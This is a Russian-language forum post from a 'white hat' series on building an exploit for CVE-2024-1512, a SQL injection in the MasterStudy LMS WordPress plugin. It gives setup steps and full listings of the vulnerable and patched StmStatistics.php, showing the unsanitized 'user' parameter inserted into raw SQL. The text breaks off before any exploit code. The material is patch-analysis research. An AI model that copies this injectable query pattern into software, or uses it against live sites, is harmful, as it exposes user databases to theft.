Дневник белой шляпы [Часть 11]: Пишем приват эксплоит CVE-2024-1512

D2

Администратор
Регистрация
19 Фев 2025
Сообщения
4,380
Реакции
0
Я отсутствовал около месяца, в течение которого работал исследователем для двух клиентов. Понимая, что это краткосрочное сотрудничество, я решил работать на полную и считаю, что это было оправданно. Моя работа в основном заключалась в разработке эксплойтов для одного клиента и исследовании приватных нулевых дней для другого. Для веб-пентестера переход в роль исследователя является вершиной карьеры. Лучше быть младшим исследователем, чем старшим пентестером (имхо). Эта статья посвящена основам разработки эксплойтов для уязвимостей, не имеющих публичных эксплойтов, с опорой исключительно на анализ различий в патчах (спасибо клиенту за обучение).

Содержание​

  • Выбор цели
  • Установка
  • Уязвимость
  • REST в WordPress
  • Так где же ты?
  • Разработка Эксплоита (Детектор)

Выбор цели​

Обычно я начинаю с уже доступных CVE или выбираю цели на основе их широкого использования. Как видно из моих предыдущих статей, я стараюсь избегать тем, связанных с SQL-инъекцией. На этот раз, однако, я искал цель, где мог бы использовать логирование баз данных для обнаружения SQL-инъекций. Сегодняшний анализ сосредоточен на плагине "WordPress LMS Plugin MasterStudy", который был загружен более 900 000 раз (https://wordpress.org/plugins/masterstudy-lms-learning-management-system/).

Установка​

NIST часто предоставляет минимальные описания, но в этом случае описание удивительно детализировано. https://nvd.nist.gov/vuln/detail/CVE-2024-1512
The MasterStudy LMS WordPress Plugin – for Online Courses and Education plugin for WordPress is vulnerable to union based SQL Injection via the 'user' parameter of the /lms/stm-lms/order/items REST route in all versions up to, and including, 3.2.5 due to insufficient escaping on the user supplied parameter and lack of sufficient preparation on the existing SQL query. This makes it possible for unauthenticated attackers to append additional SQL queries into already existing queries that can be used to extract sensitive information from the database.
Нажмите, чтобы раскрыть...
Для эксплуатации этой уязвимости необходимо загрузить версию 3.2.5 плагина, доступную по адресу https://downloads.wordpress.org/plugin/masterstudy-lms-learning-management-system.3.2.5.zip, и затем распаковать ее.
1708690176582.png


Изображение [1]


1708690201152.png


Изображение [2]​
После установки плагина следующим шагом является его активация.

Уязвимость​

Представим, что мы знаем только о наличии SQL-инъекции от NIST, без дополнительных деталей. Нам нужно было бы самостоятельно определить то где находится уязвимость, задача, которая одновременно увлекательна и выполнима. Исходной точкой является изучение внесенных в код изменений.

Уязвимый код
(https://plugins.trac.wordpress.org/...asses/models/StmStatistics.php?rev=2795646#L1):
Код: Скопировать в буфер обмена
Код:
1    <?php
2
3    namespace stmLms\Classes\Models;
4
5    use STM_LMS_Options;
6    use stmLms\Classes\Models\StmOrder;
7    use stmLms\Classes\Models\StmOrderItems;
8    use stmLms\Classes\Models\Admin\StmStatisticsListTable;
9
10    class StmStatistics
11    {
12
13        static $instance;
14        public $object;
15
16        public static function set_screen($status, $option, $value)
17        {
18            return $value;
19        }
20
21        public static function init()
22        {
23
24            $model = new StmStatistics();
25            self::get_instance();
26            add_filter('set-screen-option', [__CLASS__, 'set_screen'], 10, 3);
27            if (is_admin()) {
28                add_action('init', [self::class, "init_statistics"]);
29            }
30        }
31
32        static function init_statistics() {
33
34            if(current_user_can('manage_options')) {
35                self::create_table_order_items();
36                self::woocommerce_order_items();
37                self::set_order_items_total_price();
38            }
39
40        }
41
42        public function admin_menu()
43        {
44            add_action('wpcfto_screen_stm_lms_settings_added', array($this, 'add_order_list'), 100, 1);
45        }
46
47        public function add_order_list()
48        {
49            $hook = add_submenu_page(
50                'stm-lms-settings',
51                __('Statistics', "masterstudy-lms-learning-management-system"),
52                __('Statistics', "masterstudy-lms-learning-management-system"),
53                'manage_options',
54                'stm_lms_statistics',
55                array($this, 'render_statistics')
56            );
57            add_action("load-$hook", [$this, 'stm_lms_statistics_screen_option']);
58        }
59
60        public function render_statistics()
61        {
62            stm_lms_render(STM_LMS_PATH . "/lms/views/statistics/statistics", [], true);
63        }
64
65        public function stm_lms_statistics_screen_option()
66        {
67            $option = 'per_page';
68            $args = [
69                'label' => 'Statistics',
70                'default' => 10,
71                'option' => 'stm_lms_statistics_per_page'
72            ];
73            add_screen_option($option, $args);
74            $this->object = new StmStatisticsListTable();
75        }
76
77        public static function set_order_items_total_price()
78        {
79            $is_run = get_option("stm_lms_set_order_total_price");
80            if (!$is_run) {
81                global $wpdb;
82                $prefix = $wpdb->prefix;
83                $orders = StmOrder::query()
84                    ->select(" _order.*, mete.`meta_value` as items ")
85                    ->asTable("_order")
86                    ->join(" left join " . $prefix . "postmeta as mete on (mete.post_id = _order.ID)  ")
87                    ->where_in("_order.post_type", ["stm-orders"])
88                    ->where("mete.`meta_key`", "items")
89                    ->group_by("_order.ID")
90                    ->find();
91                foreach ($orders as $order) {
92                    $total_price = 0;
93                    foreach ($order->items as $item) {
94                        $total_price += $item['price'];
95
96                        // update or create order items
97                        if (!($order_items = StmOrderItems::query()->where("order_id", $order->ID)->where("object_id", $item['item_id'])->findOne()))
98                            $order_items = new StmOrderItems();
99                        $order_items->order_id = $order->ID;
100                        $order_items->object_id = $item['item_id'];
101                        $order_items->price = $item['price'];
102                        $order_items->quantity = 1;
103                        $order_items->transaction = 0;
104                        $order_items->save();
105                    }
106                    update_post_meta($order->ID, "_order_total", $total_price);
107                }
108                add_option("stm_lms_set_order_total_price", "1");
109            }
110        }
111
112        public static function woocommerce_order_items()
113        {
114            $is_run = get_option("stm_lms_set_woocommerce_order_items");
115            if (!$is_run) {
116                global $wpdb;
117                $prefix = $wpdb->prefix;
118                $orders = StmOrder::query()
119                    ->select(" _order.*, meta.meta_value as items")
120                    ->asTable("_order")
121                    ->join(" left join " . $prefix . "postmeta as meta on ( meta.`post_id` = _order.ID AND meta.`meta_key` = 'stm_lms_courses') ")
122                    ->where("_order.`post_type`", "shop_order")
123                    ->find();
124                foreach ($orders as $order) {
125                    if (isset($order->items)) {
126                        foreach ($order->items as $item) {
127                            $price = get_post_meta($item['item_id'], "_price");
128
129                            // update or create order items
130                            if (!($order_items = StmOrderItems::query()->where("order_id", $order->ID)->where("object_id", $item['item_id'])->findOne()))
131                                $order_items = new StmOrderItems();
132                            $order_items->order_id = $order->ID;
133                            $order_items->object_id = $item['item_id'];
134                            $order_items->price = (isset($price[0])) ? $price[0] : 0;
135                            $order_items->quantity = $item['quantity'];
136                            $order_items->transaction = 0;
137                            $order_items->save();
138                        }
139                    }
140                }
141                add_option("stm_lms_set_woocommerce_order_items", "1");
142            }
143        }
144
145        public static function create_table_order_items()
146        {
147            global $wpdb;
148            require_once(ABSPATH . 'wp-admin/includes/upgrade.php');
149            $charset_collate = $wpdb->get_charset_collate();
150            $table_name = $wpdb->prefix . 'stm_lms_order_items';
151            $sql = "CREATE TABLE {$table_name} (
152                                    id bigint(20) NOT NULL AUTO_INCREMENT,
153                                    order_id bigint(20) unsigned NOT NULL,
154                                    object_id bigint(20) unsigned NOT NULL,
155                                    payout_id bigint(20) unsigned,
156                                    quantity int(11) NOT NULL,
157                                    price float(24,2),
158                                    `transaction` varchar(100),
159                                    PRIMARY KEY  (id),
160                                    KEY `{$table_name}_order_id_index` (`order_id`),
161                                    KEY `{$table_name}_object_id_index` (`object_id`),
162                                    KEY `{$table_name}_payout_id_index` (`payout_id`)
163                                    ) {$charset_collate};";
164            maybe_create_table($table_name, $sql);
165        }
166
167        /**
168         * @return StmStatistics
169         */
170        public static function get_instance()
171        {
172            if (!isset(self::$instance)) {
173                self::$instance = new self();
174            }
175            return self::$instance;
176        }
177
178        /**
179         * @return mixed
180         */
181        public static function get_author_fee()
182        {
183            $author_fee = STM_LMS_Options::get_option('author_fee', false);
184            return ($author_fee) ? $author_fee : 10;
185        }
186
187        /**
188         * @param $offset
189         * @param $limit
190         * @param array $params
191         *
192         * @return array
193         */
194        public static function get_user_orders($offset, $limit, $params = [])
195        {
196            global $wpdb;
197            $prefix = $wpdb->prefix;
198            $user_orders = [
199                "items" => [],
200                "total" => 0,
201            ];
202            $query = StmOrder::query()
203                ->select(" _order.*, meta.* ")
204                ->asTable("_order")
205                ->join(" left join `" . $prefix . "stm_lms_order_items` as lms_order_items on ( lms_order_items.`order_id` = _order.ID )
206                                                       left join `" . $prefix . "posts` as course on  (course.ID = lms_order_items.`object_id`) ")
207                ->where_in("_order.post_type", ["stm-orders", "shop_order"]);
208
209            if (isset($params['id']) AND !empty($params['id'])) {
210                $query->where('_order.ID', $params['id']);
211            }
212
213            if (isset($params['created_date_from']) AND !empty(trim($params['created_date_from'])) AND isset($params['created_date_to']) AND !empty(trim($params['created_date_to']))) {
214                $query->where_raw('
215                            DATE(_order.post_date) >= "' . date("Y-m-d", strtotime($params['created_date_from'])) . '" AND
216                            DATE(_order.post_date) <= "' . date("Y-m-d", strtotime($params['created_date_to'])) . '"
217                    ');
218            }
219
220            if (isset($params['total_price']) AND !empty($params['total_price'])) {
221                $query->where_raw(' ( meta.meta_key = "_order_total" AND meta.meta_value = "' . $params['total_price'] . '" ) ');
222            }
223
224            if (isset($params['status']) AND !empty($params['status'])) {
225                $query->where_raw('
226                                    (
227                                            ( meta.meta_key = "status" AND meta.meta_value = "' . $params['status'] . '" ) OR
228                                            ( _order.post_status = "' . $params['status'] . '" )
229                                    )
230                            ');
231            }
232
233            if (isset($params['user']) AND !empty($params['user'])) {
234                $ids = [$params['user']];
235                if (!empty($ids)) {
236                    $query->where_raw('
237                                    (
238                                            (meta.meta_key = "user_id" AND meta.meta_value in (' . implode(",", $ids) . ')) OR
239                                            (meta.meta_key = "_customer_user" AND meta.meta_value in (' . implode(",", $ids) . '))
240                                    )
241                            ');
242                }
243            }
244
245            if (isset($params['post_author']) AND !empty($params['post_author'])) {
246                $query->where("course.`post_author`", (int)$params['post_author']);
247            }
248
249            if (!empty($params['orderby'])) {
250                $query->sort_by(esc_sql($params['orderby']))
251                    ->order(!empty($params['order']) ? ' ' . esc_sql($params['order']) : ' ASC');
252            } else {
253                $query->sort_by("ID")->order(" DESC ");
254            }
255
256            $query_total = clone $query;
257
258            $user_orders['total'] = $query_total->select(" COUNT(DISTINCT _order.ID) as count ")->findOne()->count;
259            $query->join(" left join " . $prefix . "postmeta as meta on (meta.post_id = _order.ID)")
260                ->group_by("_order.ID")
261                ->limit($limit)
262                ->offset($offset);
263
264            $user_orders['items'] = $query->find();
265
266            return $user_orders;
267        }
268
269        /**
270         * @param $offset
271         * @param $limit
272         * @param array $params
273         *
274         * @return array
275         */
276        public static function get_user_order_items($offset, $limit, $params = [])
277        {
278            global $wpdb;
279            $prefix = $wpdb->prefix;
280            $user_orders = [
281                "items" => [],
282                "total" => 0,
283                "total_price" => 0,
284            ];
285            $query = StmOrderItems::query()
286                ->select(" lms_order_items.*, course.post_title as name, _order.`post_date` as date_created ")
287                ->asTable("lms_order_items")
288                ->join(" left join `" . $prefix . "posts` as _order on ( lms_order_items.`order_id` = _order.ID )
289                                                       left join `" . $prefix . "posts` as course on  (course.ID = lms_order_items.`object_id`) ")
290                ->where_in("_order.post_type", ["stm-orders", "shop_order"]);
291
292            if (isset($params['id']) AND !empty($params['id'])) {
293                $query->where('_order.ID', $params['id']);
294            }
295
296            if (isset($params['date_from']) AND !empty(trim($params['date_from'])) AND isset($params['date_to']) AND !empty(trim($params['date_to']))) {
297                $query->where_raw('
298                            DATE(_order.post_date) >= "' . date("Y-m-d", strtotime($params['date_from'])) . '" AND
299                            DATE(_order.post_date) <= "' . date("Y-m-d", strtotime($params['date_to'])) . '"
300                    ');
301            }
302
303            if (isset($params['total_price']) AND !empty($params['total_price'])) {
304                $query->where_raw(' ( meta.meta_key = "_order_total" AND meta.meta_value = "' . $params['total_price'] . '" ) ');
305            }
306
307            if (isset($params['status']) AND !empty($params['status'])) {
308                $query->where_raw('
309                                    (
310                                            ( meta.meta_key = "status" AND meta.meta_value = "' . $params['status'] . '" ) OR
311                                            ( _order.post_status = "' . $params['status'] . '" )
312                                    )
313                            ');
314            }
315
316            if (isset($params['user']) AND !empty($params['user'])) {
317                $ids = [$params['user']];
318                if (!empty($ids)) {
319                    $query->where_raw('
320                                    (
321                                            (meta.meta_key = "user_id" AND meta.meta_value in (' . implode(",", $ids) . ')) OR
322                                            (meta.meta_key = "_customer_user" AND meta.meta_value in (' . implode(",", $ids) . '))
323                                    )
324                            ');
325                }
326            }
327
328            if (isset($params['course_id']) AND !empty($params['course_id'])) {
329                $query->where("course.ID", $params['course_id']);
330            }
331
332            if (isset($params['author_id']) AND !empty($params['author_id']) AND $params['author_id'] != 0) {
333                $query->where("course.`post_author`", (int)$params['author_id']);
334            }
335
336            if (isset($params['completed']) AND !empty($params['completed'])) {
337                $query->join(" left join " . $prefix . "postmeta as meta_status on ( meta_status.post_id = _order.ID AND _order.`post_type` = 'stm-orders' AND  meta_status.`meta_key` = 'status' AND meta_status.`meta_value` = 'completed') ")
338                    ->join(" left join " . $prefix . "posts as order_status on ( lms_order_items.`order_id` = order_status.ID AND order_status.`post_status` = 'wc-completed') ")
339                    ->where_raw(" (  meta_status.post_id = _order.ID OR order_status.ID = _order.ID )  ");
340            }
341
342            if (!empty($params['orderby'])) {
343                $query->sort_by(esc_sql($params['orderby']))
344                    ->order(!empty($params['order']) ? ' ' . esc_sql($params['order']) : ' ASC');
345            } else {
346                $query->sort_by("ID")->order(" DESC ");
347            }
348
349            $query_total = clone $query;
350            $user_orders['total'] = $query_total->select(" COUNT(DISTINCT lms_order_items.id) as count ")->findOne()->count;
351
352            $query_total_price = clone $query;
353            $query_total_price->select(" SUM( lms_order_items.`price` * lms_order_items.`quantity`) as total_price ");
354            $total_price = $query_total_price->findOne()->total_price;
355            $user_orders['total_price'] = ($total_price) ? $total_price : 0;
356            $query->join(" left join " . $prefix . "postmeta as meta on (meta.post_id = _order.ID)")
357                ->group_by("lms_order_items.id")
358                ->limit($limit)
359                ->offset($offset);
360
361            $user_orders['items'] = $query->find();
362            return $user_orders;
363        }
364
365        public static function get_user_orders_api()
366        {
367            $offset = 0;
368            $limit = 10;
369
370            if (isset($_GET['offset']) AND !empty($_GET['offset']))
371                $offset = intval($_GET['offset']);
372
373            if (isset($_GET['limit']) AND !empty($_GET['limit']))
374                $limit = intval($_GET['limit']);
375
376            $params = $_GET;
377
378            $params['completed'] = true;
379
380            if ($params['author_id'])
381                return self::get_user_order_items($offset, $limit, $params);
382        }
383
384        /**
385         * @param $date_start
386         * @param $date_end
387         * @param $user_id
388         * @param null $course_id
389         *
390         * @return array
391         */
392        public static function get_course_statisticas($date_start, $date_end, $user_id, $course_id = null)
393        {
394            global $wpdb;
395            $data = [];
396            $courses = StmLmsCourse::query()
397                ->select(" course.ID, course.`post_title`, _order.`post_date` as date, SUM(order_items.`price` * order_items.`quantity`) as amount")
398                ->asTable("course")
399                ->join(" left join `" . $wpdb->prefix . "stm_lms_order_items` as order_items on order_items.`object_id` = course.ID ")
400                ->join(" left join `" . $wpdb->prefix . "posts` _order on _order.ID = order_items.`order_id` ")
401                ->join(" left join " . $wpdb->prefix . "postmeta as meta_status on ( meta_status.post_id = _order.ID AND _order.`post_type` = 'stm-orders' AND  meta_status.`meta_key` = 'status' AND meta_status.`meta_value` = 'completed') ")
402                ->where("course.post_author", $user_id)
403                ->where_raw(" ( course.post_type = 'stm-courses' OR course.post_type = 'stm-course-bundles' OR course.post_type = 'stm-orders' ) ")
404                ->where_raw(" (_order.`post_status` = 'wc-completed' OR meta_status.post_id = _order.ID) ")
405                ->where_raw(" (DATE(_order.`post_date`) BETWEEN '" . $date_start . "' AND '" . $date_end . "') ")
406                ->group_by(" course.ID, DATE_FORMAT(_order.post_date, '%m-%Y') ");
407
408            if ($course_id != null)
409                $courses->where("course.ID", $course_id)->findOne();
410
411            foreach ($courses->find() as $course) {
412                $data[] = [
413                    "id" => $course->ID,
414                    "title" => $course->post_title,
415                    "amount" => $course->amount,
416                    "date" => $course->date,
417                    "backgroundColor" => rand_color(0.50)
418                ];
419            }
420            return $data;
421        }
422
423        /**
424         * @param $user_id
425         * @param null $course_id
426         */
427        public static function get_course_sales_statisticas($user_id, $course_id = null)
428        {
429            global $wpdb;
430            $data = [];
431            $courses = StmLmsCourse::query()
432                ->select(" course.ID, course.`post_title`, SUM(order_items.`quantity`) as order_item_count ")
433                ->asTable("course")
434                ->join(" left join `" . $wpdb->prefix . "stm_lms_order_items` as order_items on order_items.`object_id` = course.ID ")
435                ->join(" left join `" . $wpdb->prefix . "posts` _order on _order.ID = order_items.`order_id` ")
436                ->join(" left join " . $wpdb->prefix . "postmeta as meta_status on ( meta_status.post_id = _order.ID AND _order.`post_type` = 'stm-orders' AND  meta_status.`meta_key` = 'status' AND meta_status.`meta_value` = 'completed') ")
437                ->where("course.post_author", $user_id)
438                ->where_raw(" ( course.post_type = 'stm-courses' OR course.post_type = 'stm-course-bundles' OR course.post_type = 'stm-orders' ) ")
439                ->where_raw(" (_order.`post_status` = 'wc-completed' OR meta_status.post_id = _order.ID) ")
440                ->group_by(" course.ID ");
441
442            if ($course_id != null)
443                $courses->where("course.ID", $course_id)->findOne();
444
445
446
447
448            foreach ($courses->find() as $course) {
449                $data[] = [
450                    "id" => $course->ID,
451                    "title" => $course->post_title,
452                    "backgroundColor" => rand_color(0.50),
453                    "order_item_count" => $course->order_item_count
454                ];
455            }
456
457            return $data;
458        }
459
460    }

Исправленный код (https://plugins.trac.wordpress.org/...asses/models/StmStatistics.php?rev=3036794#L1):
Код: Скопировать в буфер обмена
Код:
1    <?php
2
3    namespace stmLms\Classes\Models;
4
5    use STM_LMS_Options;
6    use stmLms\Classes\Models\Admin\StmStatisticsListTable;
7
8    class StmStatistics {
9
10            public static $instance;
11            public $object;
12
13            /**
14             * @return StmStatistics
15             */
16            public static function get_instance() {
17                    if ( ! isset( self::$instance ) ) {
18                            self::$instance = new self();
19                    }
20
21                    return self::$instance;
22            }
23
24            public static function init() {
25                    self::get_instance();
26
27                    if ( is_admin() ) {
28                            add_action( 'admin_init', array( self::class, 'init_statistics' ) );
29                    }
30            }
31
32            public static function init_statistics() {
33                    if ( current_user_can( 'manage_options' ) ) {
34                            self::create_table_order_items();
35                            self::woocommerce_order_items();
36                            self::set_order_items_total_price();
37                    }
38            }
39
40            public function admin_menu() {
41                    add_action( 'wpcfto_screen_stm_lms_settings_added', array( $this, 'add_order_list' ), 100, 1 );
42            }
43
44            public function add_order_list() {
45                    $hook = add_submenu_page(
46                            'stm-lms-settings',
47                            __( 'Statistics', 'masterstudy-lms-learning-management-system' ),
48                            __( 'Statistics', 'masterstudy-lms-learning-management-system' ),
49                            'manage_options',
50                            'stm_lms_statistics',
51                            array( $this, 'render_statistics' )
52                    );
53
54                    add_action( "load-$hook", array( $this, 'stm_lms_statistics_screen_option' ) );
55            }
56
57            public function render_statistics() {
58                    stm_lms_render( STM_LMS_PATH . '/lms/views/statistics/statistics', array(), true );
59            }
60
61            public function stm_lms_statistics_screen_option() {
62                    $option = 'per_page';
63                    $args   = array(
64                            'label'   => 'Statistics',
65                            'default' => 10,
66                            'option'  => 'stm_lms_statistics_per_page',
67                    );
68
69                    add_screen_option( $option, $args );
70
71                    $this->object = new StmStatisticsListTable();
72            }
73
74            public static function set_order_items_total_price() {
75                    $is_run = get_option( 'stm_lms_set_order_total_price' );
76
77                    if ( ! $is_run ) {
78                            global $wpdb;
79
80                            $orders = StmOrder::query()
81                                    ->select( ' _order.*, mete.`meta_value` as items ' )
82                                    ->asTable( '_order' )
83                                    ->join( ' left join ' . $wpdb->prefix . 'postmeta as mete on (mete.post_id = _order.ID)  ' )
84                                    ->where_in( '_order.post_type', array( 'stm-orders' ) )
85                                    ->where( 'mete.`meta_key`', 'items' )
86                                    ->group_by( '_order.ID' )
87                                    ->find();
88
89                            foreach ( $orders as $order ) {
90                                    $total_price = 0;
91                                    foreach ( $order->items as $item ) {
92                                            $total_price += $item['price'];
93
94                                            // update or create order items
95                                            $order_items = StmOrderItems::query()->where( 'order_id', $order->ID )->where( 'object_id', $item['item_id'] )->findOne();
96                                            if ( ! $order_items ) {
97                                                    $order_items = new StmOrderItems();
98                                            }
99                                            $order_items->order_id    = $order->ID;
100                                            $order_items->object_id   = $item['item_id'];
101                                            $order_items->price       = $item['price'];
102                                            $order_items->quantity    = 1;
103                                            $order_items->transaction = 0;
104                                            $order_items->save();
105                                    }
106
107                                    update_post_meta( $order->ID, '_order_total', $total_price );
108                            }
109
110                            update_option( 'stm_lms_set_order_total_price', '1' );
111                    }
112            }
113
114            public static function woocommerce_order_items() {
115                    $is_run = get_option( 'stm_lms_set_woocommerce_order_items' );
116                    if ( ! $is_run ) {
117                            global $wpdb;
118
119                            $prefix = $wpdb->prefix;
120                            $orders = StmOrder::query()
121                                    ->select( ' _order.*, meta.meta_value as items' )
122                                    ->asTable( '_order' )
123                                    ->join( ' left join ' . $prefix . "postmeta as meta on ( meta.`post_id` = _order.ID AND meta.`meta_key` = 'stm_lms_courses') " )
124                                    ->where( '_order.`post_type`', 'shop_order' )
125                                    ->find();
126                            foreach ( $orders as $order ) {
127                                    if ( isset( $order->items ) ) {
128                                            foreach ( $order->items as $item ) {
129                                                    $price = get_post_meta( $item['item_id'], '_price' );
130
131                                                    // update or create order
132                                                    $order_items = StmOrderItems::query()->where( 'order_id', $order->ID )->where( 'object_id', $item['item_id'] )->findOne();
133                                                    if ( ! $order_items ) {
134                                                            $order_items = new StmOrderItems();
135                                                    }
136                                                    $order_items->order_id    = $order->ID;
137                                                    $order_items->object_id   = $item['item_id'];
138                                                    $order_items->price       = ( isset( $price[0] ) ) ? $price[0] : 0;
139                                                    $order_items->quantity    = $item['quantity'];
140                                                    $order_items->transaction = 0;
141                                                    $order_items->save();
142                                            }
143                                    }
144                            }
145
146                            update_option( 'stm_lms_set_woocommerce_order_items', '1' );
147                    }
148            }
149
150            public static function create_table_order_items() {
151                    global $wpdb;
152
153                    require_once ABSPATH . 'wp-admin/includes/upgrade.php';
154
155                    $charset_collate = $wpdb->get_charset_collate();
156                    $table_name      = $wpdb->prefix . 'stm_lms_order_items';
157                    $sql             = "CREATE TABLE {$table_name} (
158                                    id bigint(20) NOT NULL AUTO_INCREMENT,
159                                    order_id bigint(20) unsigned NOT NULL,
160                                    object_id bigint(20) unsigned NOT NULL,
161                                    payout_id bigint(20) unsigned,
162                                    quantity int(11) NOT NULL,
163                                    price float(24,2),
164                                    `transaction` varchar(100),
165                                    PRIMARY KEY  (id),
166                                    KEY `{$table_name}_order_id_index` (`order_id`),
167                                    KEY `{$table_name}_object_id_index` (`object_id`),
168                                    KEY `{$table_name}_payout_id_index` (`payout_id`)
169                                    ) {$charset_collate};";
170
171                    maybe_create_table( $table_name, $sql );
172            }
173
174            /**
175             * @return mixed
176             */
177            public static function get_author_fee() {
178                    $author_fee = STM_LMS_Options::get_option( 'author_fee', false );
179
180                    return $author_fee ? $author_fee : 10;
181            }
182
183            /**
184             * @param $offset
185             * @param $limit
186             * @param array $params
187             *
188             * @return array
189             */
190            public static function get_user_orders( $offset, $limit, $params = array() ) {
191                    global $wpdb;
192
193                    $prefix      = $wpdb->prefix;
194                    $user_orders = array();
195                    $query       = StmOrder::query()
196                            ->select( ' _order.*, meta.* ' )
197                            ->asTable( '_order' )
198                            ->join( ' left join `' . $prefix . 'stm_lms_order_items` as lms_order_items on ( lms_order_items.`order_id` = _order.ID ) left join `' . $prefix . 'posts` as course on  (course.ID = lms_order_items.`object_id`) ' )
199                            ->where_in( '_order.post_type', array( 'stm-orders', 'shop_order' ) );
200
201                    if ( ! empty( $params['id'] ) ) {
202                            $query->where( '_order.ID', $params['id'] );
203                    }
204
205                    if ( ! empty( trim( $params['created_date_from'] ?? '' ) ) && ! empty( trim( $params['created_date_to'] ?? '' ) ) ) {
206                            $query->where_raw( ' DATE(_order.post_date) >= "' . gmdate( 'Y-m-d', strtotime( $params['created_date_from'] ) ) . '" AND DATE(_order.post_date) <= "' . gmdate( 'Y-m-d', strtotime( $params['created_date_to'] ) ) . '" ' );
207                    }
208
209                    if ( ! empty( $params['total_price'] ) ) {
210                            $query->where_raw( ' ( meta.meta_key = "_order_total" AND meta.meta_value = "' . $params['total_price'] . '" ) ' );
211                    }
212
213                    if ( ! empty( $params['status'] ) ) {
214                            $query->where_raw(
215                                    ' (
216                                            ( meta.meta_key = "status" AND meta.meta_value = "' . $params['status'] . '" ) OR
217                                            ( _order.post_status = "' . $params['status'] . '" )
218                                    ) '
219                            );
220                    }
221
222                    if ( ! empty( $params['user'] ) ) {
223                            $ids = array( $params['user'] );
224                            if ( ! empty( $ids ) ) {
225                                    $query->where_raw(
226                                            ' (
227                                            (meta.meta_key = "user_id" AND meta.meta_value in (' . implode( ',', $ids ) . ')) OR
228                                            (meta.meta_key = "_customer_user" AND meta.meta_value in (' . implode( ',', $ids ) . '))
229                                    ) '
230                                    );
231                            }
232                    }
233
234                    if ( ! empty( $params['post_author'] ) ) {
235                            $query->where( 'course.`post_author`', (int) $params['post_author'] );
236                    }
237
238                    if ( ! empty( $params['orderby'] ) ) {
239                            $query->sort_by( esc_sql( $params['orderby'] ) )->order( ! empty( $params['order'] ) ? ' ' . esc_sql( $params['order'] ) : ' ASC' );
240                    } else {
241                            $query->sort_by( 'ID' )->order( ' DESC ' );
242                    }
243
244                    $query_total = clone $query;
245
246                    $user_orders['total'] = $query_total->select( ' COUNT(DISTINCT _order.ID) as count ' )->findOne()->count ?? 0;
247                    $query->join( ' left join ' . $prefix . 'postmeta as meta on (meta.post_id = _order.ID)' )
248                            ->group_by( '_order.ID' )
249                            ->limit( $limit )
250                            ->offset( $offset );
251
252                    $user_orders['items'] = $query->find();
253
254                    return $user_orders;
255            }
256
257            /**
258             * @param $offset
259             * @param $limit
260             * @param array $params
261             *
262             * @return array
263             */
264            public static function get_user_order_items( $offset, $limit, $params = array() ) {
265                    global $wpdb;
266                    $prefix      = $wpdb->prefix;
267                    $user_orders = array();
268                    $query       = StmOrderItems::query()
269                            ->select( ' lms_order_items.*, course.post_title as name, _order.`post_date` as date_created ' )
270                            ->asTable( 'lms_order_items' )
271                            ->join( ' left join `' . $prefix . 'posts` as _order on ( lms_order_items.`order_id` = _order.ID ) left join `' . $prefix . 'posts` as course on  (course.ID = lms_order_items.`object_id`) ' )
272                            ->where_in( '_order.post_type', array( 'stm-orders', 'shop_order' ) );
273
274                    if ( ! empty( $params['id'] ) ) {
275                            $query->where( '_order.ID', intval( $params['id'] ) );
276                    }
277
278                    if ( empty( trim( $params['date_from'] ?? '' ) ) && ! empty( trim( $params['date_to'] ?? '' ) ) ) {
279                            $query->where_raw(
280                                    ' DATE(_order.post_date) >= "' . gmdate( 'Y-m-d', strtotime( $params['date_from'] ) ) . '" AND DATE(_order.post_date) <= "' . gmdate( 'Y-m-d', strtotime( $params['date_to'] ) ) . '" '
281                            );
282                    }
283
284                    if ( ! empty( $params['total_price'] ) ) {
285                            $query->where_raw( ' ( meta.meta_key = "_order_total" AND meta.meta_value = "' . $params['total_price'] . '" ) ' );
286                    }
287
288                    if ( ! empty( $params['status'] ) ) {
289                            $query->where_raw(
290                                    ' (
291                                            ( meta.meta_key = "status" AND meta.meta_value = "' . $params['status'] . '" ) OR
292                                            ( _order.post_status = "' . $params['status'] . '" )
293                                    ) '
294                            );
295                    }
296
297                    if ( ! empty( $params['user'] ) ) {
298                            $user_id = intval( $params['user'] );
299                            if ( ! empty( $user_id ) ) {
300                                    $query->where_raw(
301                                            ' (
302                                            (meta.meta_key = "user_id" AND meta.meta_value in (' . $user_id . ')) OR
303                                            (meta.meta_key = "_customer_user" AND meta.meta_value in (' . $user_id . '))
304                                    ) '
305                                    );
306                            }
307                    }
308
309                    if ( ! empty( $params['course_id'] ) ) {
310                            $query->where( 'course.ID', intval( $params['course_id'] ) );
311                    }
312
313                    if ( ! empty( $params['author_id'] ) ) {
314                            $query->where( 'course.`post_author`', intval( $params['author_id'] ) );
315                    }
316
317                    if ( ! empty( $params['completed'] ) ) {
318                            $query->join( ' left join ' . $prefix . "postmeta as meta_status on ( meta_status.post_id = _order.ID AND _order.`post_type` = 'stm-orders' AND  meta_status.`meta_key` = 'status' AND meta_status.`meta_value` = 'completed') " )
319                                    ->join( ' left join ' . $prefix . "posts as order_status on ( lms_order_items.`order_id` = order_status.ID AND order_status.`post_status` = 'wc-completed') " )
320                                    ->where_raw( ' (  meta_status.post_id = _order.ID OR order_status.ID = _order.ID )  ' );
321                    }
322
323                    if ( ! empty( $params['orderby'] ) ) {
324                            $query->sort_by( esc_sql( $params['orderby'] ) )->order( ! empty( $params['order'] ) ? ' ' . esc_sql( $params['order'] ) : ' ASC' );
325                    } else {
326                            $query->sort_by( 'ID' )->order( ' DESC ' );
327                    }
328
329                    $query_total          = clone $query;
330                    $user_orders['total'] = $query_total->select( ' COUNT(DISTINCT lms_order_items.id) as count ' )->findOne()->count ?? 0;
331
332                    $query_total_price = clone $query;
333                    $query_total_price->select( ' SUM( lms_order_items.`price` * lms_order_items.`quantity`) as total_price ' );
334                    $total_price                = $query_total_price->findOne()->total_price ?? 0;
335                    $user_orders['total_price'] = ( $total_price ) ? $total_price : 0;
336                    $query->join( ' left join ' . $prefix . 'postmeta as meta on (meta.post_id = _order.ID)' )
337                            ->group_by( 'lms_order_items.id' )
338                            ->limit( $limit )
339                            ->offset( $offset );
340
341                    $user_orders['items'] = $query->find();
342
343                    return $user_orders;
344            }
345
346            public static function get_user_orders_api() {
347                    $offset = 0;
348                    $limit  = 10;
349
350                    check_ajax_referer( 'wp_rest', 'nonce' );
351
352                    if ( ! empty( $_POST['offset'] ) ) {
353                            $offset = intval( $_POST['offset'] );
354                    }
355
356                    if ( ! empty( $_POST['limit'] ) ) {
357                            $limit = intval( $_POST['limit'] );
358                    }
359
360                    $params = $_POST;
361
362                    $params['completed'] = true;
363
364                    if ( $params['author_id'] ) {
365                            return self::get_user_order_items( $offset, $limit, $params );
366                    }
367            }
368
369            /**
370             * @param $date_start
